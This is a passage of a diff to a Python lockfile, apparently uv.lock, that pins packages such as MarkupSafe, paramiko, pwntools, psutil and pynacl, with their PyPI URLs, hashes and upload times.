+ { url = "https://files.pythonhosted.org/packages/f3/f0/89e7aadfb3749d0f52234a0c8c7867877876e0a20b60e2188e9850794c17/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8", size = 23118, upload-time = "2024-10-18T15:21:17.133Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/da/f2eeb64c723f5e3777bc081da884b414671982008c47dcc1873d81f625b6/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c", size = 22993, upload-time = "2024-10-18T15:21:18.064Z" },
+ { url = "https://files.pythonhosted.org/packages/da/0e/1f32af846df486dce7c227fe0f2398dc7e2e51d4a370508281f3c1c5cddc/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557", size = 24178, upload-time = "2024-10-18T15:21:18.859Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/f6/bb3ca0532de8086cbff5f06d137064c8410d10779c4c127e0e47d17c0b71/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22", size = 23319, upload-time = "2024-10-18T15:21:19.671Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/82/8be4c96ffee03c5b4a034e60a31294daf481e12c7c43ab8e34a1453ee48b/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48", size = 23352, upload-time = "2024-10-18T15:21:20.971Z" },
+ { url = "https://files.pythonhosted.org/packages/51/ae/97827349d3fcffee7e184bdf7f41cd6b88d9919c80f0263ba7acd1bbcb18/MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30", size = 15097, upload-time = "2024-10-18T15:21:22.646Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/80/a61f99dc3a936413c3ee4e1eecac96c0da5ed07ad56fd975f1a9da5bc630/MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87", size = 15601, upload-time = "2024-10-18T15:21:23.499Z" },
+ { url = "https://files.pythonhosted.org/packages/83/0e/67eb10a7ecc77a0c2bbe2b0235765b98d164d81600746914bebada795e97/MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd", size = 14274, upload-time = "2024-10-18T15:21:24.577Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/6d/9409f3684d3335375d04e5f05744dfe7e9f120062c9857df4ab490a1031a/MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430", size = 12352, upload-time = "2024-10-18T15:21:25.382Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/f5/6eadfcd3885ea85fe2a7c128315cc1bb7241e1987443d78c8fe712d03091/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094", size = 24122, upload-time = "2024-10-18T15:21:26.199Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/91/96cf928db8236f1bfab6ce15ad070dfdd02ed88261c2afafd4b43575e9e9/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396", size = 23085, upload-time = "2024-10-18T15:21:27.029Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/cf/c9d56af24d56ea04daae7ac0940232d31d5a8354f2b457c6d856b2057d69/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79", size = 22978, upload-time = "2024-10-18T15:21:27.846Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/9f/8619835cd6a711d6272d62abb78c033bda638fdc54c4e7f4272cf1c0962b/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a", size = 24208, upload-time = "2024-10-18T15:21:28.744Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/bf/176950a1792b2cd2102b8ffeb5133e1ed984547b75db47c25a67d3359f77/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca", size = 23357, upload-time = "2024-10-18T15:21:29.545Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/4f/9a02c1d335caabe5c4efb90e1b6e8ee944aa245c1aaaab8e8a618987d816/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c", size = 23344, upload-time = "2024-10-18T15:21:30.366Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/55/c271b57db36f748f0e04a759ace9f8f759ccf22b4960c270c78a394f58be/MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1", size = 15101, upload-time = "2024-10-18T15:21:31.207Z" },
+ { url = "https://files.pythonhosted.org/packages/29/88/07df22d2dd4df40aba9f3e402e6dc1b8ee86297dddbad4872bd5e7b0094f/MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f", size = 15603, upload-time = "2024-10-18T15:21:32.032Z" },
+ { url = "https://files.pythonhosted.org/packages/62/6a/8b89d24db2d32d433dffcd6a8779159da109842434f1dd2f6e71f32f738c/MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c", size = 14510, upload-time = "2024-10-18T15:21:33.625Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/06/a10f955f70a2e5a9bf78d11a161029d278eeacbd35ef806c3fd17b13060d/MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb", size = 12486, upload-time = "2024-10-18T15:21:34.611Z" },
+ { url = "https://files.pythonhosted.org/packages/34/cf/65d4a571869a1a9078198ca28f39fba5fbb910f952f9dbc5220afff9f5e6/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c", size = 25480, upload-time = "2024-10-18T15:21:35.398Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/e3/90e9651924c430b885468b56b3d597cabf6d72be4b24a0acd1fa0e12af67/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d", size = 23914, upload-time = "2024-10-18T15:21:36.231Z" },
+ { url = "https://files.pythonhosted.org/packages/66/8c/6c7cf61f95d63bb866db39085150df1f2a5bd3335298f14a66b48e92659c/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe", size = 23796, upload-time = "2024-10-18T15:21:37.073Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/35/cbe9238ec3f47ac9a7c8b3df7a808e7cb50fe149dc7039f5f454b3fba218/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5", size = 25473, upload-time = "2024-10-18T15:21:37.932Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/32/7621a4382488aa283cc05e8984a9c219abad3bca087be9ec77e89939ded9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a", size = 24114, upload-time = "2024-10-18T15:21:39.799Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/80/0985960e4b89922cb5a0bac0ed39c5b96cbc1a536a99f30e8c220a996ed9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9", size = 24098, upload-time = "2024-10-18T15:21:40.813Z" },
+ { url = "https://files.pythonhosted.org/packages/82/78/fedb03c7d5380df2427038ec8d973587e90561b2d90cd472ce9254cf348b/MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6", size = 15208, upload-time = "2024-10-18T15:21:41.814Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/65/6079a46068dfceaeabb5dcad6d674f5f5c61a6fa5673746f42a9f4c233b3/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f", size = 15739, upload-time = "2024-10-18T15:21:42.784Z" },
+]
+
+[[package]]
+name = "packaging"
+version = "25.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" },
+]
+
+[[package]]
+name = "paramiko"
+version = "3.5.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "bcrypt" },
+ { name = "cryptography" },
+ { name = "pynacl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/7d/15/ad6ce226e8138315f2451c2aeea985bf35ee910afb477bae7477dc3a8f3b/paramiko-3.5.1.tar.gz", hash = "sha256:b2c665bc45b2b215bd7d7f039901b14b067da00f3a11e6640995fd58f2664822", size = 1566110, upload-time = "2025-02-04T02:37:59.783Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/15/f8/c7bd0ef12954a81a1d3cea60a13946bd9a49a0036a5927770c461eade7ae/paramiko-3.5.1-py3-none-any.whl", hash = "sha256:43b9a0501fc2b5e70680388d9346cf252cfb7d00b0667c39e80eb43a408b8f61", size = 227298, upload-time = "2025-02-04T02:37:57.672Z" },
+]
+
+[[package]]
+name = "pip"
+version = "25.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/59/de/241caa0ca606f2ec5fe0c1f4261b0465df78d786a38da693864a116c37f4/pip-25.1.1.tar.gz", hash = "sha256:3de45d411d308d5054c2168185d8da7f9a2cd753dbac8acbfa88a8909ecd9077", size = 1940155, upload-time = "2025-05-02T15:14:02.057Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/29/a2/d40fb2460e883eca5199c62cfc2463fd261f760556ae6290f88488c362c0/pip-25.1.1-py3-none-any.whl", hash = "sha256:2913a38a2abf4ea6b64ab507bd9e967f3b53dc1ede74b01b0931e1ce548751af", size = 1825227, upload-time = "2025-05-02T15:13:59.102Z" },
+]
+
+[[package]]
+name = "plumbum"
+version = "1.9.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pywin32", marker = "platform_python_implementation != 'PyPy' and sys_platform == 'win32'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f0/5d/49ba324ad4ae5b1a4caefafbce7a1648540129344481f2ed4ef6bb68d451/plumbum-1.9.0.tar.gz", hash = "sha256:e640062b72642c3873bd5bdc3effed75ba4d3c70ef6b6a7b907357a84d909219", size = 319083, upload-time = "2024-10-05T05:59:27.059Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/4f/9d/d03542c93bb3d448406731b80f39c3d5601282f778328c22c77d270f4ed4/plumbum-1.9.0-py3-none-any.whl", hash = "sha256:9fd0d3b0e8d86e4b581af36edf3f3bbe9d1ae15b45b8caab28de1bcb27aaa7f5", size = 127970, upload-time = "2024-10-05T05:59:25.102Z" },
+]
+
+[[package]]
+name = "psutil"
+version = "7.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/2a/80/336820c1ad9286a4ded7e845b2eccfcb27851ab8ac6abece774a6ff4d3de/psutil-7.0.0.tar.gz", hash = "sha256:7be9c3eba38beccb6495ea33afd982a44074b78f28c434a1f51cc07fd315c456", size = 497003, upload-time = "2025-02-13T21:54:07.946Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ed/e6/2d26234410f8b8abdbf891c9da62bee396583f713fb9f3325a4760875d22/psutil-7.0.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:101d71dc322e3cffd7cea0650b09b3d08b8e7c4109dd6809fe452dfd00e58b25", size = 238051, upload-time = "2025-02-13T21:54:12.36Z" },
+ { url = "https://files.pythonhosted.org/packages/04/8b/30f930733afe425e3cbfc0e1468a30a18942350c1a8816acfade80c005c4/psutil-7.0.0-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:39db632f6bb862eeccf56660871433e111b6ea58f2caea825571951d4b6aa3da", size = 239535, upload-time = "2025-02-13T21:54:16.07Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/ed/d362e84620dd22876b55389248e522338ed1bf134a5edd3b8231d7207f6d/psutil-7.0.0-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1fcee592b4c6f146991ca55919ea3d1f8926497a713ed7faaf8225e174581e91", size = 275004, upload-time = "2025-02-13T21:54:18.662Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/b9/b0eb3f3cbcb734d930fdf839431606844a825b23eaf9a6ab371edac8162c/psutil-7.0.0-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b1388a4f6875d7e2aff5c4ca1cc16c545ed41dd8bb596cefea80111db353a34", size = 277986, upload-time = "2025-02-13T21:54:21.811Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/a2/709e0fe2f093556c17fbafda93ac032257242cabcc7ff3369e2cb76a97aa/psutil-7.0.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5f098451abc2828f7dc6b58d44b532b22f2088f4999a937557b603ce72b1993", size = 279544, upload-time = "2025-02-13T21:54:24.68Z" },
+ { url = "https://files.pythonhosted.org/packages/50/e6/eecf58810b9d12e6427369784efe814a1eec0f492084ce8eb8f4d89d6d61/psutil-7.0.0-cp37-abi3-win32.whl", hash = "sha256:ba3fcef7523064a6c9da440fc4d6bd07da93ac726b5733c29027d7dc95b39d99", size = 241053, upload-time = "2025-02-13T21:54:34.31Z" },
+ { url = "https://files.pythonhosted.org/packages/50/1b/6921afe68c74868b4c9fa424dad3be35b095e16687989ebbb50ce4fceb7c/psutil-7.0.0-cp37-abi3-win_amd64.whl", hash = "sha256:4cf3d4eb1aa9b348dec30105c55cd9b7d4629285735a102beb4441e38db90553", size = 244885, upload-time = "2025-02-13T21:54:37.486Z" },
+]
+
+[[package]]
+name = "pwntools"
+version = "4.14.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "capstone" },
+ { name = "colored-traceback" },
+ { name = "intervaltree" },
+ { name = "mako" },
+ { name = "packaging" },
+ { name = "paramiko" },
+ { name = "pip" },
+ { name = "psutil" },
+ { name = "pyelftools" },
+ { name = "pygments" },
+ { name = "pyserial" },
+ { name = "pysocks" },
+ { name = "python-dateutil" },
+ { name = "requests" },
+ { name = "ropgadget" },
+ { name = "rpyc" },
+ { name = "six" },
+ { name = "sortedcontainers" },
+ { name = "unicorn" },
+ { name = "unix-ar" },
+ { name = "zstandard" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/21/94/1f39d5a770226b9d240c9900c5c912788fb31f8f189aacd81153c0d59f67/pwntools-4.14.1.tar.gz", hash = "sha256:60f04976d1722120d18b9d50553408a024664b5cf888f36f258afca4bf035cac", size = 5612163, upload-time = "2025-03-24T12:29:30.007Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/58/64/882ce3c4bffdc8ee1b52bca10a878685ed67355af4f3eba33c7f4c8b195d/pwntools-4.14.1-py2.py3-none-any.whl", hash = "sha256:d8b8587f5ca9a6149d234f900de1832e9db7a2291c32dfbdaa0de3dac224a324", size = 12858620, upload-time = "2025-03-24T12:29:26.347Z" },
+]
+
+[[package]]
+name = "pycparser"
+version = "2.22"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1d/b2/31537cf4b1ca988837256c910a668b553fceb8f069bedc4b1c826024b52c/pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6", size = 172736, upload-time = "2024-03-30T13:22:22.564Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/13/a3/a812df4e2dd5696d1f351d58b8fe16a405b234ad2886a0dab9183fb78109/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc", size = 117552, upload-time = "2024-03-30T13:22:20.476Z" },
+]
+
+[[package]]
+name = "pyelftools"
+version = "0.32"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b9/ab/33968940b2deb3d92f5b146bc6d4009a5f95d1d06c148ea2f9ee965071af/pyelftools-0.32.tar.gz", hash = "sha256:6de90ee7b8263e740c8715a925382d4099b354f29ac48ea40d840cf7aa14ace5", size = 15047199, upload-time = "2025-02-19T14:20:05.549Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/af/43/700932c4f0638c3421177144a2e86448c0d75dbaee2c7936bda3f9fd0878/pyelftools-0.32-py3-none-any.whl", hash = "sha256:013df952a006db5e138b1edf6d8a68ecc50630adbd0d83a2d41e7f846163d738", size = 188525, upload-time = "2025-02-19T14:19:59.919Z" },
+]
+
+[[package]]
+name = "pygments"
+version = "2.19.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7c/2d/c3338d48ea6cc0feb8446d8e6937e1408088a72a39937982cc6111d17f84/pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f", size = 4968581, upload-time = "2025-01-06T17:26:30.443Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8a/0b/9fcc47d19c48b59121088dd6da2488a49d5f72dacf8262e2790a1d2c7d15/pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c", size = 1225293, upload-time = "2025-01-06T17:26:25.553Z" },
+]
+
+[[package]]
+name = "pynacl"
+version = "1.5.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a7/22/27582568be639dfe22ddb3902225f91f2f17ceff88ce80e4db396c8986da/PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba", size = 3392854, upload-time = "2022-01-07T22:05:41.134Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ce/75/0b8ede18506041c0bf23ac4d8e2971b4161cd6ce630b177d0a08eb0d8857/PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1", size = 349920, upload-time = "2022-01-07T22:05:49.156Z" },
+ { url = "https://files.pythonhosted.org/packages/59/bb/fddf10acd09637327a97ef89d2a9d621328850a72f1fdc8c08bdf72e385f/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92", size = 601722, upload-time = "2022-01-07T22:05:50.989Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/70/87a065c37cca41a75f2ce113a5a2c2aa7533be648b184ade58971b5f7ccc/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394", size = 680087, upload-time = "2022-01-07T22:05:52.539Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/87/f1bb6a595f14a327e8285b9eb54d41fef76c585a0edef0a45f6fc95de125/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d", size = 856678, upload-time = "2022-01-07T22:05:54.251Z" },
+ { url = "https://files.pythonhosted.org/packages/66/28/ca86676b69bf9f90e710571b67450508484388bfce09acf8a46f0b8c785f/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858", size = 1133660, upload-time = "2022-01-07T22:05:56.056Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/85/c262db650e86812585e2bc59e497a8f59948a005325a11bbbc9ecd3fe26b/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", size = 663824, upload-time = "2022-01-07T22:05:57.434Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/1a/cc308a884bd299b651f1633acb978e8596c71c33ca85e9dc9fa33a5399b9/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff", size = 1117912, upload-time = "2022-01-07T22:05:58.665Z" },
+ { url = "https://files.pythonhosted.org/packages/25/2d/b7df6ddb0c2a33afdb358f8af6ea3b8c4d1196ca45497dd37a56f0c122be/PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543", size = 204624, upload-time = "2022-01-07T22:06:00.085Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/22/d3db169895faaf3e2eda892f005f433a62db2decbcfbc2f61e6517adfa87/PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93", size = 212141, upload-time = "2022-01-07T22:06:01.861Z" },
+]
+
+[[package]]
+name = "pyserial"
+version = "3.5"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb", size = 159125, upload-time = "2020-11-23T03:59:15.045Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/07/bc/587a445451b253b285629263eb51c2d8e9bcea4fc97826266d186f96f558/pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0", size = 90585, upload-time = "2020-11-23T03:59:13.41Z" },
+]
+
+[[package]]
+name = "pysocks"
+version = "1.7.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bd/11/293dd436aea955d45fc4e8a35b6ae7270f5b8e00b53cf6c024c83b657a11/PySocks-1.7.1.tar.gz", hash = "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0", size = 284429, upload-time = "2019-09-20T02:07:35.714Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8d/59/b4572118e098ac8e46e399a1dd0f2d85403ce8bbaad9ec79373ed6badaf9/PySocks-1.7.1-py3-none-any.whl", hash = "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5", size = 16725, upload-time = "2019-09-20T02:06:22.938Z" },
+]
+
+[[package]]
+name = "python-dateutil"
+version = "2.9.0.post0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "six" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
+]
+
+[[package]]
+name = "pywin32"
+version = "310"
+source = { registry = "https://pypi.org/simple" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/6b/ec/4fdbe47932f671d6e348474ea35ed94227fb5df56a7c30cbbb42cd396ed0/pywin32-310-cp312-cp312-win32.whl", hash = "sha256:8a75a5cc3893e83a108c05d82198880704c44bbaee4d06e442e471d3c9ea4f3d", size = 8796239, upload-time = "2025-03-17T00:55:58.807Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/e5/b0627f8bb84e06991bea89ad8153a9e50ace40b2e1195d68e9dff6b03d0f/pywin32-310-cp312-cp312-win_amd64.whl", hash = "sha256:bf5c397c9a9a19a6f62f3fb821fbf36cac08f03770056711f765ec1503972060", size = 9503839, upload-time = "2025-03-17T00:56:00.8Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/32/9ccf53748df72301a89713936645a664ec001abd35ecc8578beda593d37d/pywin32-310-cp312-cp312-win_arm64.whl", hash = "sha256:2349cc906eae872d0663d4d6290d13b90621eaf78964bb1578632ff20e152966", size = 8459470, upload-time = "2025-03-17T00:56:02.601Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/09/9c1b978ffc4ae53999e89c19c77ba882d9fce476729f23ef55211ea1c034/pywin32-310-cp313-cp313-win32.whl", hash = "sha256:5d241a659c496ada3253cd01cfaa779b048e90ce4b2b38cd44168ad555ce74ab", size = 8794384, upload-time = "2025-03-17T00:56:04.383Z" },
+ { url = "https://files.pythonhosted.org/packages/45/3c/b4640f740ffebadd5d34df35fecba0e1cfef8fde9f3e594df91c28ad9b50/pywin32-310-cp313-cp313-win_amd64.whl", hash = "sha256:667827eb3a90208ddbdcc9e860c81bde63a135710e21e4cb3348968e4bd5249e", size = 9503039, upload-time = "2025-03-17T00:56:06.207Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/f4/f785020090fb050e7fb6d34b780f2231f302609dc964672f72bfaeb59a28/pywin32-310-cp313-cp313-win_arm64.whl", hash = "sha256:e308f831de771482b7cf692a1f308f8fca701b2d8f9dde6cc440c7da17e47b33", size = 8458152, upload-time = "2025-03-17T00:56:07.819Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.32.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "certifi" },
+ { name = "charset-normalizer" },
+ { name = "idna" },
+ { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e1/0a/929373653770d8a0d7ea76c37de6e41f11eb07559b103b1c02cafb3f7cf8/requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422", size = 135258, upload-time = "2025-06-09T16:43:07.34Z" }
+wheels = [
